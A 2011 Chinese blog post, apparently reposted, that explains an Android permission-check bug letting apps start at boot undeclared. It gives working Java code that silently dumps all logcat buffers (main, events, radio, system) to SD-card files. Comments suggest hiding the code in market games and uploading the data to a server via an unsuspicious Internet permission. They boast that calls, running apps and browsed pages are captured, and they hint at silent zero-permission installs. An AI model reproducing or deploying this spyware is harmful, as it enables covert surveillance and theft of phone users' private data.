您的位置:首页 > 移动开发 > Android开发

抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)

2011-12-30 00:53 253 查看
用户的隐私永远是第一位的,用户的隐私也是最值钱的。

最近各大门户相继被泄露。。。保管好自己的密码就行了

这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。

但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。

罪魁祸首就是logcat。以及一个权限检测的bug.

1、开机启动

  程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限   

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />


  然后就是写receiver以及在清单中设置了。

<receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >


  

public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
................
}
}


  其实呢,完全可以不必声明权限,照样使用。

  android的包管理器在检测到用户要安装apk时,只是扫描一下清单中的权限声明,然后列出权限警告给用户,上面根本没有声明这个权限,所以不会列出来,但不影响使用,这个bug一直坚守到了4.0.

2、窥探隐私

  我们要记录用户的一切,从开机开始!

  安卓的一些调试工具,是默认集成在rom中的,比如logcat,不止是sdk中携带,而是每部安卓手机以及平板都有的。

  而且,安卓框架会向log缓冲区写入所有的Log,具体是这几类:main、events、radio、system。这些Log缓冲区基本上涵盖了手机运行的方方面面。

  进入正题,我们会用到Process类,也就是进程类,dalvik会分裂出一个进程来执行其它本地程序,就像在shell中打入命令,shell分裂一个进程来运行它一样,我们只需要把shell下的命令写成字符串,直接扔给process即可。

别忘了再加入这两个权限

<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>


//简单的示例,这些代码可以附加到某个market的应用里,比如游戏等等
//其实有些广告的sdk,需要一大堆权限,好多都需要开机启动
//我想,可能是收集用户信息来分析用户的行为,来进行定点投放广告吧
public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

///main
Runnable r1=new Runnable() {

@Override
public void run() {
writeLog("org.igeek.hack.main.log", "main");
}
};
///events
Runnable r2=new Runnable() {

@Override
public void run() {
writeLog("org.igeek.hack.events.log", "events");
}
};
///radio
Runnable r3=new Runnable() {

@Override
public void run() {
writeLog("org.igeek.hack.radio.log", "radio");
}
};
///system
Runnable r4=new Runnable() {

@Override
public void run() {
writeLog("org.igeek.hack.system.log", "system");
}
};

Thread t1=new Thread(r1);
Thread t2=new Thread(r2);
Thread t3=new Thread(r3);
Thread t4=new Thread(r4);

t1.start();
t2.start();
t3.start();
t4.start();
}

//你懂得
private void writeLog(String file,String content){
try {
StringBuilder command = new  StringBuilder("logcat" );

File devFile = new  File( Environment.getExternalStorageDirectory(),file );
if (devFile.createNewFile()){
command.append(" -b " ).append(content);

//命令格式是: logcat -b main
//logcat -b radio 等等
Process process = Runtime.getRuntime().exec(command.toString());

//这里,将本地程序的标准输出,也就是std::out转成java的输入流
InputStream input =  process.getInputStream();
BufferedReader reader  =  new  BufferedReader( new  InputStreamReader(input));

//再把转入的输入流搞成输出流,这里放到sd卡的目录里面
FileOutputStream output=new FileOutputStream(devFile);
BufferedOutputStream bot=new BufferedOutputStream(output);

Log.e("hack", "记录LOG -> "+"sd:"+file);
String log;
while((log = reader.readLine()) != null){

//其实在输入流获取后,可以根据规则摘取想要的信息
//没有必要通吃

//在关机前,这个循环是很难跳出的
bot.write(log.getBytes());

//这里呢,可以学学骑驴250,将获取的数据上传到服务器
/*
伪代码

在清单中添加个Internet权限,相信用户也不会多心的

go:连接服务器
go:压缩并上传数据

*/
}
bot.close();
output.close();
reader.close();
input.close();

//亲手测试一下,你会惊讶的发现,谁给你打电话、你当前运行什么程序、
//你看什么不该看的网页,都一一记录在案

}
} catch (IOException e) {
//have a nice day
e.printStackTrace();
}
}

}


就说这么多,感兴趣的可以研究研究market的安装方法,以及market uri,可以做到0权限静默安装高权限apk。

最后,请关注我的 抛砖引玉 系列,会有更多精彩内容

原创,转载请注明 http://hangxin1940.cnblogs.com
这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: